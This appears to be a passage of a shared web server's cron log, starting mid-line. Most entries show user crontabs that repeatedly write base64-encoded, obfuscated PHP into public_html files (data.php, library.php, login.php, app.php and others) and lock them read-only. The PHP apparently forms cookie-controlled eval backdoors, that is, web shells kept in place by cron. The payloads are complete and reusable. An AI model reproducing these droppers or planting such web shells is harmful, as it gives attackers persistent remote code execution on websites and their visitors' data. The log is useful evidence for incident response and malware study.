bnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:53:02 medusa CROND[7600]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:53:02 medusa CROND[7602]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:53:02 medusa CROND[7604]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 13:53:02 medusa CROND[7605]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:53:02 medusa CROND[7607]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:53:02 medusa CROND[7610]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:53:02 medusa CROND[7609]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:53:02 medusa CROND[7612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:53:02 medusa CROND[7611]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:53:02 medusa CROND[7613]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:53:02 medusa CROND[7615]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:53:02 medusa CROND[7621]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:54:01 medusa CROND[26882]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:54:01 medusa CROND[27021]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:54:01 medusa CROND[27023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:54:01 medusa CROND[27024]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:54:01 medusa CROND[27025]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:54:01 medusa CROND[27026]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:54:01 medusa CROND[27027]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:54:01 medusa CROND[27033]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:54:01 medusa CROND[27030]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 13:54:01 medusa CROND[27036]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:54:01 medusa CROND[27038]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:54:01 medusa CROND[27039]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:54:01 medusa CROND[27035]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:55:01 medusa CROND[10052]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
